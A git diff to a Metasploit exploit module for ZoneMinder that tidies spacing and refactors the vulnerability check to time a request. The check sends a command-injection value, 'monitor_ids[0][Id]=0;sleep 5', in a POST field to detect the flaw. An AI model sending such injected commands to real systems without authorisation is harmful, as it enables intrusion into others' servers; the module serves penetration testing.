diff --git a/modules/exploits/unix/webapp/zoneminder_snapshots.rb b/modules/exploits/unix/webapp/zoneminder_snapshots.rb index c83415f876a13..1d9db3b14c67a 100644 --- a/modules/exploits/unix/webapp/zoneminder_snapshots.rb +++ b/modules/exploits/unix/webapp/zoneminder_snapshots.rb @@ -37,7 +37,7 @@ def initialize(info = {}) [ 'nix Command', { - 'Platform' => ['unix','linux'], + 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { @@ -89,14 +89,16 @@ def check sleep_time = 5 data = "view=snapshot&action=create&monitor_ids[0][Id]=0;sleep #{sleep_time}" data += "&__csrf_magic=#{csrf_magic}" if csrf_magic - start = Time.now - send_request_cgi( - 'uri' => normalize_uri(target_uri.path, 'index.php'), - 'method' => 'POST', - 'data' => data.to_s, - 'keep_cookies' => true - ) - if sleep_time < Time.now - start + res, elapsed_time = Rex::Stopwatch.elapsed_time do + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'POST', + 'data' => data.to_s, + 'keep_cookies' => true + ) + end + print_status("Elapsed time: #{elapsed_time} seconds.") + if res && sleep_time < elapsed_time return Exploit::CheckCode::Appears end